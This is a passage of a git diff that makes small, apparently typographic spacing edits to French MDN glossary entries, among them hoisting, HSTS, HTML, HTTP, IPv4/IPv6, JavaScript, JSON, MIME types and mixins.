exemples ci-dessous montrent le même comportement. +JavaScript hisse seulement les déclarations, pas les initialisations. Si vous utilisez une variable qui est déclarée et initialisée après l'avoir utilisée, sa valeur sera indéfinie. Les deux exemples ci-dessous montrent le même comportement. ```js var x = 1; // Initialise x @@ -72,6 +72,6 @@ y = 2; // Initialise y ### Références techniques -- [JavaScript: Understanding the Weird Parts](https://www.udemy.com/understand-javascript/) - Cours d'Udemy.com +- [JavaScript: Understanding the Weird Parts](https://www.udemy.com/understand-javascript/) - Cours d'Udemy.com - [instruction var](/fr/docs/Web/JavaScript/Reference/Instructions/var) - MDN - [déclaration function](/fr/docs/Web/JavaScript/Reference/Instructions/function) - MDN diff --git a/files/fr/glossary/hsts/index.md b/files/fr/glossary/hsts/index.md index f6e9a17a60..1aff3cbaad 100644 --- a/files/fr/glossary/hsts/index.md +++ b/files/fr/glossary/hsts/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/HSTS original_slug: Glossaire/HSTS --- -**HTTP Strict Transport Security** permet à un site web d'informer le navigateur que son accès ne devrait pas se faire en HTTP et qu'il devrait donc convertir toute tentative de connexion en HTTP en connexion HTTPS. HSTS est un en-tête HTTP, {{HTTPHeader("Strict-Transport-Security")}}, il est donc envoyé par le serveur au début de la réponse à une requête d'un client. +**HTTP Strict Transport Security** permet à un site web d'informer le navigateur que son accès ne devrait pas se faire en HTTP et qu'il devrait donc convertir toute tentative de connexion en HTTP en connexion HTTPS. HSTS est un en-tête HTTP, {{HTTPHeader("Strict-Transport-Security")}}, il est donc envoyé par le serveur au début de la réponse à une requête d'un client. En d'autres termes, cela informe le navigateur que basculer d'HTTP à HTTPS dans l'url fonctionnera (et sera plus sécurisé) et lui demande de le faire systématiquement. diff --git a/files/fr/glossary/html/index.md b/files/fr/glossary/html/index.md index d2c10cb835..968fecc947 100644 --- a/files/fr/glossary/html/index.md +++ b/files/fr/glossary/html/index.md @@ -17,11 +17,11 @@ original_slug: Glossaire/HTML En 1990, lorsqu'il présente sa vision du {{Glossary("World Wide Web","Web")}}, Tim Berners-Lee définit le concept d'{{Glossary("Hypertext","hypertexte")}}, qu'il formalise l'année suivante avec un langage de balisage essentiellement basé sur {{Glossary("SGML")}}. L'{{Glossary("IETF")}} commence officiellement à spécifier le HTML en 1993, et publie la version 2.0 en 1995, après plusieurs versions de travail. En 1994, Berners-Lee fonde le {{Glossary("W3C")}} pour développer le Web. En 1996, le W3C reprend le travail sur le HTML et publie un an plus tard la recommandation HTML 3.2. HTML 4.0 fut publié en 1999 et devient une norme {{Glossary("ISO")}} en 2000. -À cette période, le W3C est sur le point d'abandonner le HTML au profit du {{Glossary("XHTML")}}, ce qui provoque la création d'un groupe indépendant appelé {{Glossary("WHATWG")}} en 2004. Grâce au WHATWG, le travail sur le {{Glossary("HTML5")}} se poursuit : les deux organisations publient la première version de travail en 2008 puis la norme finale en 2014. +À cette période, le W3C est sur le point d'abandonner le HTML au profit du {{Glossary("XHTML")}}, ce qui provoque la création d'un groupe indépendant appelé {{Glossary("WHATWG")}} en 2004. Grâce au WHATWG, le travail sur le {{Glossary("HTML5")}} se poursuit : les deux organisations publient la première version de travail en 2008 puis la norme finale en 2014. ## Concept et syntaxe -Un document HTML est un document texte brut structuré par des {{Glossary("Element","éléments")}}. Les éléments sont encadrés par des {{Glossary("Tag","balises")}} ouvrantes et fermantes associées. Chaque balise commence et se termine par les caractères inférieur et supérieur (`<>`). Il existe quelques balises _vides_ qui ne contiennent pas de texte, comme par exemple {{htmlelement("img")}}. +Un document HTML est un document texte brut structuré par des {{Glossary("Element","éléments")}}. Les éléments sont encadrés par des {{Glossary("Tag","balises")}} ouvrantes et fermantes associées. Chaque balise commence et se termine par les caractères inférieur et supérieur (`<>`). Il existe quelques balises _vides_ qui ne contiennent pas de texte, comme par exemple {{htmlelement("img")}}. On peut préciser les balises HTML avec des {{Glossary("Attribute","attributs")}} pour fournir des informations complémentaires qui vont modifier la façon dont le navigateur va interpréter l'élément : diff --git a/files/fr/glossary/html5/index.md b/files/fr/glossary/html5/index.md index 663beb530a..4828946427 100644 --- a/files/fr/glossary/html5/index.md +++ b/files/fr/glossary/html5/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/HTML5 original_slug: Glossaire/HTML5 --- -La dernière version stable du {{Glossary("HTML")}}, HTML5, transforme le HTML qui était un simple balisage pour structurer des documents en une plate-forme complète de développement d'applications. Parmi ses autres caractéristiques, HTML5 comporte de nouveaux éléments et des {{glossary("API")}} {{glossary("JavaScript")}} pour améliorer le stockage, le multimédia et l'accès au matériel. +La dernière version stable du {{Glossary("HTML")}}, HTML5, transforme le HTML qui était un simple balisage pour structurer des documents en une plate-forme complète de développement d'applications. Parmi ses autres caractéristiques, HTML5 comporte de nouveaux éléments et des {{glossary("API")}} {{glossary("JavaScript")}} pour améliorer le stockage, le multimédia et l'accès au matériel. ## Pour en savoir plus diff --git a/files/fr/glossary/http/index.md b/files/fr/glossary/http/index.md index 8cbddbce02..a5fcaa2ef6 100644 --- a/files/fr/glossary/http/index.md +++ b/files/fr/glossary/http/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/HTTP original_slug: Glossaire/HTTP --- -L'*Hypertext Transfer Protocol* (**HTTP**) (_Protocole de transfert hypertexte_) est un {{glossary("Protocol","protocole")}} de base qui autorise le transfert de fichiers sur le {{glossary("World Wide Web","web")}}, typiquement entre un navigateur web et un serveur afin que des utilisateurs puissent les consulter. La version actuelle de la spécification HTTP s'appelle {{glossary("HTTP_2", "HTTP/2")}}. +L'*Hypertext Transfer Protocol* (**HTTP**) (_Protocole de transfert hypertexte_) est un {{glossary("Protocol","protocole")}} de base qui autorise le transfert de fichiers sur le {{glossary("World Wide Web","web")}}, typiquement entre un navigateur web et un serveur afin que des utilisateurs puissent les consulter. La version actuelle de la spécification HTTP s'appelle {{glossary("HTTP_2", "HTTP/2")}}. Dans le cadre d'une {{glossary("URI")}}, la partie "http\://" s'appelle le "schema" et commence la plupart du temps au début d'une addresse. Par exemple, dans "https\://developer.mozilla.org", "https\://" indique au navigateur de requêter le document au travers du protocole HTTP. Plus précisément, dans cet exemple, https fait référence à la version sécurisée du protocole HTTP, {{glossary("SSL")}} (also called TLS). diff --git a/files/fr/glossary/iana/index.md b/files/fr/glossary/iana/index.md index 6957dd0c02..ae19bc8041 100644 --- a/files/fr/glossary/iana/index.md +++ b/files/fr/glossary/iana/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/IANA original_slug: Glossaire/IANA --- -**IANA** (Internet Assigned Numbers Authority) est une composante de l'{{glossary("ICANN")}} chargée de l'enregistrement et/ou de l'attribution de {{glossary("Domain name","noms de domaines")}}, {{glossary("IP address","adresses IP")}}, et d'autres noms et numéros utilisés par les {{glossary("Protocol","protocoles")}} Internet. +**IANA** (Internet Assigned Numbers Authority) est une composante de l'{{glossary("ICANN")}} chargée de l'enregistrement et/ou de l'attribution de {{glossary("Domain name","noms de domaines")}}, {{glossary("IP address","adresses IP")}}, et d'autres noms et numéros utilisés par les {{glossary("Protocol","protocoles")}} Internet. ## Pour en savoir plus diff --git a/files/fr/glossary/icann/index.md b/files/fr/glossary/icann/index.md index e9ad967f45..51f8f9b7f2 100644 --- a/files/fr/glossary/icann/index.md +++ b/files/fr/glossary/icann/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/ICANN original_slug: Glossaire/ICANN --- -**ICANN** (Internet Corporation of Assigned Names and Numbers) est une société à but non lucratif internationale qui maintient le {{glossary("DNS","système de noms de domaine")}} et l'enregistrement des {{glossary("IP address","adresses IP")}}. +**ICANN** (Internet Corporation of Assigned Names and Numbers) est une société à but non lucratif internationale qui maintient le {{glossary("DNS","système de noms de domaine")}} et l'enregistrement des {{glossary("IP address","adresses IP")}}. ## Pour en savoir plus diff --git a/files/fr/glossary/idl/index.md b/files/fr/glossary/idl/index.md index 8228de21af..4d5e4312fd 100644 --- a/files/fr/glossary/idl/index.md +++ b/files/fr/glossary/idl/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/IDL original_slug: Glossaire/IDL --- -Un **IDL** (_Interface Description Language_) est un langage générique utilisé pour définir les interfaces des objets en dehors de tout autre langage de programmation spécifique. +Un **IDL** (_Interface Description Language_) est un langage générique utilisé pour définir les interfaces des objets en dehors de tout autre langage de programmation spécifique. ## Pour approfondir diff --git a/files/fr/glossary/iife/index.md b/files/fr/glossary/iife/index.md index fda1e1d151..15de752205 100644 --- a/files/fr/glossary/iife/index.md +++ b/files/fr/glossary/iife/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/IIFE original_slug: Glossaire/IIFE --- -**IIFE** (Immediately Invoked Function Expression) _(Expression de fonction invoquée immédiatement)_ est une {{glossary("Function","fonction")}} {{glossary("JavaScript")}} qui est exécutée dès qu'elle est définie. +**IIFE** (Immediately Invoked Function Expression) _(Expression de fonction invoquée immédiatement)_ est une {{glossary("Function","fonction")}} {{glossary("JavaScript")}} qui est exécutée dès qu'elle est définie. C'est un modèle de conception qui est également connu sous le nom de {{glossary("Self-Executing Anonymous Function","Fonction anonyme auto-exécutable")}} et contient deux parties principales. La première est la fonction anonyme avec portée lexicale incluse dans le {{jsxref("Operators/Grouping", "groupement opérateur")}}`()`. Cela empêche l'accès aux variables dans l'expression idiomatique IIFE ainsi que la pollution de la portée globale. @@ -41,7 +41,7 @@ result; // "Barry" ### Apprendre sur ce sujet -- [Exemple rapide](/fr/docs/Web/JavaScript/Une_r%C3%A9introduction_%C3%A0_JavaScript#Les_fonctions) (à la fin de la section "Les fonctions", juste avant "Les objets personnalisés") +- [Exemple rapide](/fr/docs/Web/JavaScript/Une_r%C3%A9introduction_%C3%A0_JavaScript#Les_fonctions) (à la fin de la section "Les fonctions", juste avant "Les objets personnalisés") ### Culture générale diff --git a/files/fr/glossary/indexeddb/index.md b/files/fr/glossary/indexeddb/index.md index 55338ee144..6dce72ea96 100644 --- a/files/fr/glossary/indexeddb/index.md +++ b/files/fr/glossary/indexeddb/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/IndexedDB original_slug: Glossaire/IndexedDB --- -IndexedDB est une {{glossary("API")}} web pour stocker de larges structures de données à l'intérieur des navigateurs et de les indexer afin d'effectuer des recherches hautement performante. De la même façon qu'un [Système de gestion de base de données relationnelle](https://fr.wikipedia.org/wiki/Syst%C3%A8me_de_gestion_de_base_de_donn%C3%A9es) (basé sur {{glossary("SQL")}}), IndexedDB est une base de données transactionnelle. Cependant, IndexedDB utilise les objets {{glossary("JavaScript")}} plutôt que des colonnes de tables fixes pour stocker les données. +IndexedDB est une {{glossary("API")}} web pour stocker de larges structures de données à l'intérieur des navigateurs et de les indexer afin d'effectuer des recherches hautement performante. De la même façon qu'un [Système de gestion de base de données relationnelle](https://fr.wikipedia.org/wiki/Syst%C3%A8me_de_gestion_de_base_de_donn%C3%A9es) (basé sur {{glossary("SQL")}}), IndexedDB est une base de données transactionnelle. Cependant, IndexedDB utilise les objets {{glossary("JavaScript")}} plutôt que des colonnes de tables fixes pour stocker les données. ## En savoir plus diff --git a/files/fr/glossary/input_method_editor/index.md b/files/fr/glossary/input_method_editor/index.md index 7559e9ddef..f727a98b7f 100644 --- a/files/fr/glossary/input_method_editor/index.md +++ b/files/fr/glossary/input_method_editor/index.md @@ -6,7 +6,7 @@ tags: translation_of: Glossary/Input_method_editor original_slug: Glossaire/Input_method_editor --- -Une méthode de saisie (IME pour Input Method Editor) est un programme qui permet de saisir du texte via une interface utilisateur spécialisé. Les méthodes de saisie peuvent être utilisées dans de nombreuses situations dont : +Une méthode de saisie (IME pour Input Method Editor) est un programme qui permet de saisir du texte via une interface utilisateur spécialisé. Les méthodes de saisie peuvent être utilisées dans de nombreuses situations dont : - la saisie de caractères chinois, japonnais ou encore coréen à partir d'un clavier latin ; - la saisie de caractères latin à partir d'un clavier numérique ; diff --git a/files/fr/glossary/internet/index.md b/files/fr/glossary/internet/index.md index 976e02f2fc..d367df44a8 100644 --- a/files/fr/glossary/internet/index.md +++ b/files/fr/glossary/internet/index.md @@ -19,4 +19,4 @@ Internet est un réseau mondial constitué de réseaux. Ce réseau utilise le pr ### Culture générale - [Internet](http://fr.wikipedia.org/wiki/Internet) sur Wikipédia -- [How the Internet works](/fr/Learn/How_the_Internet_works) (introduction pour les débutants, article en anglais) +- [How the Internet works](/fr/Learn/How_the_Internet_works) (introduction pour les débutants, article en anglais) diff --git a/files/fr/glossary/ip_address/index.md b/files/fr/glossary/ip_address/index.md index 1e71916b6b..078518e826 100644 --- a/files/fr/glossary/ip_address/index.md +++ b/files/fr/glossary/ip_address/index.md @@ -17,4 +17,4 @@ Le terme "Adresse IP" se réfère généralement à des adresses IPv4 sur 32 bit ### Culture générale -- [Adresse IP](https://fr.wikipedia.org/wiki/Adresse_IP) sur Wikipédia +- [Adresse IP](https://fr.wikipedia.org/wiki/Adresse_IP) sur Wikipédia diff --git a/files/fr/glossary/ipv4/index.md b/files/fr/glossary/ipv4/index.md index ca6d90271f..197b58fc8b 100644 --- a/files/fr/glossary/ipv4/index.md +++ b/files/fr/glossary/ipv4/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/IPv4 original_slug: Glossaire/IPv4 --- -IPv4 est la 4<sup>e</sup> version du {{Glossary("Protocol","protocole")}} de communication d'{{glossary("Internet")}} et la première version vraiment déployée. +IPv4 est la 4<sup>e</sup> version du {{Glossary("Protocol","protocole")}} de communication d'{{glossary("Internet")}} et la première version vraiment déployée. Formalisé pour la première fois en 1981, IPv4 prend ces racines dans le développement initial d'ARPAnet. IPv4 est un protocole sans connexion pour être utilisé sur des couches de liaison par commutation de packet (ethernet). {{glossary("IPv6")}} va progressivement remplacer IPv4 à cause des problème de sécurité d'IPv4 et des limitations du nombre d'adresses. (La version 5 a été conçue en 1979 comme une expérimentation du protocole Internet Stream, qui n'a pourtant jamais été appelé IPv5.) diff --git a/files/fr/glossary/ipv6/index.md b/files/fr/glossary/ipv6/index.md index 103f6ac20f..a4e237aca4 100644 --- a/files/fr/glossary/ipv6/index.md +++ b/files/fr/glossary/ipv6/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/IPv6 original_slug: Glossaire/IPv6 --- -**IPv6** est la version actuelle du {{glossary("protocol","protocole")}} sous-jacent de communication pour {{glossary("Internet")}}. Lentement IPv6 remplace {{Glossary("IPv4")}}, entre autres raisons parce que IPv6 permet d'avoir de nombreuses {{Glossary("IP address","adresses IP")}} différentes. +**IPv6** est la version actuelle du {{glossary("protocol","protocole")}} sous-jacent de communication pour {{glossary("Internet")}}. Lentement IPv6 remplace {{Glossary("IPv4")}}, entre autres raisons parce que IPv6 permet d'avoir de nombreuses {{Glossary("IP address","adresses IP")}} différentes. ## En savoir plus diff --git a/files/fr/glossary/javascript/index.md b/files/fr/glossary/javascript/index.md index c40f377c36..4b8bb8d81f 100644 --- a/files/fr/glossary/javascript/index.md +++ b/files/fr/glossary/javascript/index.md @@ -9,17 +9,17 @@ tags: translation_of: Glossary/JavaScript original_slug: Glossaire/JavaScript --- -JavaScript (JS) est un langage de programmation principalement utilisé côté client pour générer des pages web dynamiquement, mais également côté {{Glossary("Server","serveur")}}, depuis l'arrivée de [Node JS](https://nodejs.org/fr/). +JavaScript (JS) est un langage de programmation principalement utilisé côté client pour générer des pages web dynamiquement, mais également côté {{Glossary("Server","serveur")}}, depuis l'arrivée de [Node JS](https://nodejs.org/fr/). Ne pas confondre JavaScript avec {{interwiki("wikipedia","Java_(langage)","le langage de programmation Java")}}. "Java" et "JavaScript" sont des marques commerciales ou des marques déposées d'Oracle aux États-Unis et dans d'autres pays. Cependant, les deux langages de programmation ont une syntaxe, une sémantique et des utilisations très différentes. -D'abord pensé comme un langage côté serveur par Brendan Eich (alors employé de Netscape Corporation), JavaScript arrive sur le navigateur Netscape Navigator 2.0 en Septembre 1995. Le succès est immédiat, et {{glossary("Microsoft Internet Explorer", "Internet Explorer 3.0")}} introduit JavaScript sous le nom de JScript en août 1996. +D'abord pensé comme un langage côté serveur par Brendan Eich (alors employé de Netscape Corporation), JavaScript arrive sur le navigateur Netscape Navigator 2.0 en Septembre 1995. Le succès est immédiat, et {{glossary("Microsoft Internet Explorer", "Internet Explorer 3.0")}} introduit JavaScript sous le nom de JScript en août 1996. -En novembre 1996, Netscape commence à travailler avec ECMA International pour faire de JavaScript un standard. Depuis lors, la standardisation de JavaScript est appelée ECMAScript, et correspond à la spécification ECMA-262, dont la dernière (9<sup>e</sup>) édition est disponible depuis juin 2018. +En novembre 1996, Netscape commence à travailler avec ECMA International pour faire de JavaScript un standard. Depuis lors, la standardisation de JavaScript est appelée ECMAScript, et correspond à la spécification ECMA-262, dont la dernière (9<sup>e</sup>) édition est disponible depuis juin 2018. -JavaScript est principalement utilisé dans le navigateur, permettant aux développeurs de manipuler le contenu des pages internet à travers le {{Glossary("DOM")}}, manipuler les données avec {{Glossary("AJAX")}} et {{Glossary("IndexedDB")}}, dessiner avec {{Glossary("canvas")}}, interargir avec le périphérique qui pilote le navigateur via de nombreuses {{Glossary("API","APIs")}}, etc.. JavaScript est l'un des langages les plus utilisés au monde, grâce au développement et à l'amélioration des performances des {{Glossary("API","APIs")}} dans les navigateurs. +JavaScript est principalement utilisé dans le navigateur, permettant aux développeurs de manipuler le contenu des pages internet à travers le {{Glossary("DOM")}}, manipuler les données avec {{Glossary("AJAX")}} et {{Glossary("IndexedDB")}}, dessiner avec {{Glossary("canvas")}}, interargir avec le périphérique qui pilote le navigateur via de nombreuses {{Glossary("API","APIs")}}, etc.. JavaScript est l'un des langages les plus utilisés au monde, grâce au développement et à l'amélioration des performances des {{Glossary("API","APIs")}} dans les navigateurs. -Récemment, JavaScript est revenu du côté serveur grâce au succès de la plateforme [Node.js](http://nodejs.org/), l'environnement d’exécution multi-plateforme le plus populaire en dehors du navigateur. Node.js permet d'utiliser JavaScript comme langage de script pour automatiser des tâches sur un PC et de mettre en place des serveurs {{Glossary("HTTP")}} et {{Glossary("WebSockets")}} pleinement fonctionnels. +Récemment, JavaScript est revenu du côté serveur grâce au succès de la plateforme [Node.js](http://nodejs.org/), l'environnement d’exécution multi-plateforme le plus populaire en dehors du navigateur. Node.js permet d'utiliser JavaScript comme langage de script pour automatiser des tâches sur un PC et de mettre en place des serveurs {{Glossary("HTTP")}} et {{Glossary("WebSockets")}} pleinement fonctionnels. ## En savoir plus @@ -29,13 +29,13 @@ Récemment, JavaScript est revenu du côté serveur grâce au succès de la plat ### Apprentissage -- Le {{Link("/fr-FR/docs/Web/JavaScript/Guide")}} sur MDN -- [The "javascripting" workshop](http://nodeschool.io/#workshoppers) sur NodeSchool -- Les [cours JavaScript](http://www.codecademy.com/tracks/javascript) sur codecademy.com +- Le {{Link("/fr-FR/docs/Web/JavaScript/Guide")}} sur MDN +- [The "javascripting" workshop](http://nodeschool.io/#workshoppers) sur NodeSchool +- Les [cours JavaScript](http://www.codecademy.com/tracks/javascript) sur codecademy.com - [John Resig's Learning Advanced JavaScript](http://ejohn.org/apps/learn/) ### Références techniques - [Le dernier standard ECMAScript](http://www.ecma-international.org/publications/standards/Ecma-262.htm) -- La {{Link("/fr-FR/docs/Web/JavaScript/reference")}} sur MDN +- La {{Link("/fr-FR/docs/Web/JavaScript/reference")}} sur MDN - Livre : [_JavaScript Éloquent_](http://fr.eloquentjavascript.net/) diff --git a/files/fr/glossary/jquery/index.md b/files/fr/glossary/jquery/index.md index 9b1889270a..016f753c42 100644 --- a/files/fr/glossary/jquery/index.md +++ b/files/fr/glossary/jquery/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/jQuery original_slug: Glossaire/jQuery --- -**jQuery** est une {{Glossary("Library","bibliothèque")}} {{Glossary("JavaScript")}} qui se concentre sur la simplification de la manipulation de {{Glossary("DOM")}}, les appels d'{{Glossary ("AJAX")}} et la gestion des {{Glossary ("Event","évènements")}}. Elle est fréquemment utilisée par les développeurs JavaScript. +**jQuery** est une {{Glossary("Library","bibliothèque")}} {{Glossary("JavaScript")}} qui se concentre sur la simplification de la manipulation de {{Glossary("DOM")}}, les appels d'{{Glossary ("AJAX")}} et la gestion des {{Glossary ("Event","évènements")}}. Elle est fréquemment utilisée par les développeurs JavaScript. jQuery utilise un format, `$(selector).action()` pour assigner un (ou plusieurs) élément à un évènement. Pour expliquer cela en détail, `$(selector)` appelle jQuery pour sélectionner un élément `selector` et l'affecte à un évènement d'{{Glossary("API")}} appelé `.action()`. diff --git a/files/fr/glossary/json/index.md b/files/fr/glossary/json/index.md index b9bb742fb7..63cc36353a 100644 --- a/files/fr/glossary/json/index.md +++ b/files/fr/glossary/json/index.md @@ -11,9 +11,9 @@ original_slug: Glossaire/JSON --- **JSON** (_JavaScript Object Notation_) est un format d'échange de données. Bien qu'il n'en soit pas un sous-ensemble au sens strict, JSON ressemble fortement à un sous-ensemble de la syntaxe {{Glossary("JavaScript")}}. Le format JSON est accepté par de nombreux langages de programmation, mais il s'avère particulièrement utile pour les applications basées sur JavaScript comme les sites web et les extensions des navigateurs. -JSON permet de représenter des nombres, des booléens, des chaînes de caractères, la valeur `null`, des tableaux (séquences ordonnées de valeurs) et des objets (correspondances chaînes-valeurs) composés de ces valeurs (ou d'autres tableaux ou objets). Il ne permet pas, nativement, de représenter des données plus complexes comme des fonctions, des expressions rationnelles ou des dates. (Les objets Date sont traduits vers une chaîne de caractères selon un format ISO, cela permet pour certains cas, d'assurer le transport de ces données.) Si vous avez besoin de représenter des valeurs d'autres types de données, vous pouvez les transformer lors de la conversion en chaîne de caractères ou avant de les reconvertir en objets JavaScript. +JSON permet de représenter des nombres, des booléens, des chaînes de caractères, la valeur `null`, des tableaux (séquences ordonnées de valeurs) et des objets (correspondances chaînes-valeurs) composés de ces valeurs (ou d'autres tableaux ou objets). Il ne permet pas, nativement, de représenter des données plus complexes comme des fonctions, des expressions rationnelles ou des dates. (Les objets Date sont traduits vers une chaîne de caractères selon un format ISO, cela permet pour certains cas, d'assurer le transport de ces données.) Si vous avez besoin de représenter des valeurs d'autres types de données, vous pouvez les transformer lors de la conversion en chaîne de caractères ou avant de les reconvertir en objets JavaScript. -Tout comme XML, JSON permet de conserver des données hiérarchiques, ce qui n'est pas le cas avec le format CSV traditionnel. De nombreux outils permettent de convertir des données entre ces formats comme ce [convertisseur JSON vers CSV](https://json-csv.com) ou bien [celui-ci](https://jsontoexcel.com/). +Tout comme XML, JSON permet de conserver des données hiérarchiques, ce qui n'est pas le cas avec le format CSV traditionnel. De nombreux outils permettent de convertir des données entre ces formats comme ce [convertisseur JSON vers CSV](https://json-csv.com) ou bien [celui-ci](https://jsontoexcel.com/). ## En savoir plus diff --git a/files/fr/glossary/lazy_load/index.md b/files/fr/glossary/lazy_load/index.md index 54e6a7774f..91551d44ba 100644 --- a/files/fr/glossary/lazy_load/index.md +++ b/files/fr/glossary/lazy_load/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/Lazy_load original_slug: Glossaire/Lazy_load --- -**Lazy load** (ou "chargement faineant" en français) est une stratégie qui repousse le chargement de certaines ressources (par exemple, des images) jusqu'à ce qu'elles soient nécessaires pour l'utilisateur, d'après l'activité de l'utilisateur et ses habitudes de navigation. Typiquement, ces ressources ne sont chargées que lorsqu'elles apparaissent sur la page affichée à l'écran. Lorsque le lazy-loading est correctement implémenté, le temps de chargement des ressources est réduit, ce qui contribue à améliorer le temps de charge initial (dont le [time to interactive](/fr/docs/Glossary/Time_to_interactive)), puisque moins de ressources sont nécessaires pour que la page fonctionne. +**Lazy load** (ou "chargement faineant" en français) est une stratégie qui repousse le chargement de certaines ressources (par exemple, des images) jusqu'à ce qu'elles soient nécessaires pour l'utilisateur, d'après l'activité de l'utilisateur et ses habitudes de navigation. Typiquement, ces ressources ne sont chargées que lorsqu'elles apparaissent sur la page affichée à l'écran. Lorsque le lazy-loading est correctement implémenté, le temps de chargement des ressources est réduit, ce qui contribue à améliorer le temps de charge initial (dont le [time to interactive](/fr/docs/Glossary/Time_to_interactive)), puisque moins de ressources sont nécessaires pour que la page fonctionne. ## Voir également diff --git a/files/fr/glossary/localization/index.md b/files/fr/glossary/localization/index.md index 688c531101..36edcd99b8 100644 --- a/files/fr/glossary/localization/index.md +++ b/files/fr/glossary/localization/index.md @@ -17,7 +17,7 @@ Les facteurs communs suivants sont à considérer : - les unités de mesure (par exemple, kilomètres en Europe, miles aux U.S.) - la direction du texte (par exemple, de gauche à droite pour les langues européennes et de droite à gauche pour l'arabe) - les lettres capitales en écriture latine (par exemple, des capitales pour les jours de la semaine en anglais, des minuscules en espagnol) -- l'adaptation des locutions (par exemple, "raining cats and dogs" n'a aucun sens si elle est traduite littéralement). +- l'adaptation des locutions (par exemple, "raining cats and dogs" n'a aucun sens si elle est traduite littéralement). - l'utilisation du registre (par exemple, en japonais, le discours respectueux diffère du discours occasionnel) - le format des nombres (par exemple, 10 000,00 en allemand et 10,000.00 aux U.S.) - le format des dates diff --git a/files/fr/glossary/mathml/index.md b/files/fr/glossary/mathml/index.md index 52b5a7298e..34321720bc 100644 --- a/files/fr/glossary/mathml/index.md +++ b/files/fr/glossary/mathml/index.md @@ -10,7 +10,7 @@ tags: translation_of: Glossary/MathML original_slug: Glossaire/MathML --- -**MathML** (une application {{glossary("XML")}}) est un standard ouvert destiné à représenter des formules mathématiques dans des pages web. En 1998, MathML était d'abord une recommandation du W3C pour représenter des formules mathématiques dans le {{glossary("navigateur")}}. MathML a également d'autres applications parmi lesquelles les informations scientifiques et la synthèse vocale. +**MathML** (une application {{glossary("XML")}}) est un standard ouvert destiné à représenter des formules mathématiques dans des pages web. En 1998, MathML était d'abord une recommandation du W3C pour représenter des formules mathématiques dans le {{glossary("navigateur")}}. MathML a également d'autres applications parmi lesquelles les informations scientifiques et la synthèse vocale. ## Pour approfondir diff --git a/files/fr/glossary/method/index.md b/files/fr/glossary/method/index.md index 8cb8c7589b..bbc2a70a2c 100644 --- a/files/fr/glossary/method/index.md +++ b/files/fr/glossary/method/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Method original_slug: Glossaire/Méthode --- -Une **méthode** est une {{glossary("fonction", "fonction")}} (`function`) qui est une {{glossary("property","propriété")}} d'un {{glossary("object","objet")}}. Il existe deux sortes de méthodes : Les _méthodes d'instance_ qui représentent les fonctions fournissant une interface pour effectuer des actions dans le contexte de l'objet qu'elles composent ou les _méthodes statiques_ qui représentent les fonctions pouvant être exécutées sans nécessiter d'instanciation. +Une **méthode** est une {{glossary("fonction", "fonction")}} (`function`) qui est une {{glossary("property","propriété")}} d'un {{glossary("object","objet")}}. Il existe deux sortes de méthodes : Les _méthodes d'instance_ qui représentent les fonctions fournissant une interface pour effectuer des actions dans le contexte de l'objet qu'elles composent ou les _méthodes statiques_ qui représentent les fonctions pouvant être exécutées sans nécessiter d'instanciation. > **Note :** En JavaScript, les fonctions sont elles-mêmes des objets. Dans ce contexte, une méthode est plus précisément une {{glossary("object reference","référence vers un objet")}} de type `function`. diff --git a/files/fr/glossary/mime/index.md b/files/fr/glossary/mime/index.md index 554bdb06fc..eced676ac4 100644 --- a/files/fr/glossary/mime/index.md +++ b/files/fr/glossary/mime/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/mime original_slug: Glossaire/mime --- -**MIME** "Multipurpose internet mail extensions" est un standard pour décrire des documents sous d'autres formes que du texte ASCII, par exemple audio, vidéo et images. Initialement utilisé pour les pièces jointes aux courriers électroniques, il est devenu le standard pour définir n'importe où les types de documents. +**MIME** "Multipurpose internet mail extensions" est un standard pour décrire des documents sous d'autres formes que du texte ASCII, par exemple audio, vidéo et images. Initialement utilisé pour les pièces jointes aux courriers électroniques, il est devenu le standard pour définir n'importe où les types de documents. Voir aussi [Type Mime](/fr/docs/Glossary/MIME_type) diff --git a/files/fr/glossary/mime_type/index.md b/files/fr/glossary/mime_type/index.md index d2f68e80c5..533326504c 100644 --- a/files/fr/glossary/mime_type/index.md +++ b/files/fr/glossary/mime_type/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/MIME_type original_slug: Glossaire/Type_MIME --- -Un **type MIME** (désormais correctement appelé "media type", mais aussi parfois "content type") est une chaîne de caractères envoyée avec un fichier pour en indiquer le type (par exemple, un fichier sonore sera étiqueté `audio/ogg` ou un fichier graphique `image/png`). +Un **type MIME** (désormais correctement appelé "media type", mais aussi parfois "content type") est une chaîne de caractères envoyée avec un fichier pour en indiquer le type (par exemple, un fichier sonore sera étiqueté `audio/ogg` ou un fichier graphique `image/png`). Il répond au même objectif que les extensions de fichiers traditionnellement utilisées sous Windows. Le nom vient de la norme MIME initialement utilisée dans E-Mail. diff --git a/files/fr/glossary/mixin/index.md b/files/fr/glossary/mixin/index.md index 95551d7140..bea491431f 100644 --- a/files/fr/glossary/mixin/index.md +++ b/files/fr/glossary/mixin/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/Mixin original_slug: Glossaire/Mixin --- -Un _mixin_ est une {{Glossary("class","classe")}} ou une {{Glossary("interface","interface")}} dans laquelle une partie ou la totalité des {{glossary("method","méthodes")}} et des {{glossary("property","propriétés")}} sont implémentées en exigeant qu'une autre {{glossary("class","classe")}} ou {{Glossary("interface")}} fournisse les éléments manquants . La nouvelle classe ou interface inclut alors à la fois les propriétés et les méthodes du mixin ainsi que celles qu'il définit lui-même. Toutes les méthodes et propriétés sont utilisées exactement de la même façon, qu'elles soient implémentées dans le mixin ou dans l'interface, ou qu'elle soit la classe qui implémente le mixin. +Un _mixin_ est une {{Glossary("class","classe")}} ou une {{Glossary("interface","interface")}} dans laquelle une partie ou la totalité des {{glossary("method","méthodes")}} et des {{glossary("property","propriétés")}} sont implémentées en exigeant qu'une autre {{glossary("class","classe")}} ou {{Glossary("interface")}} 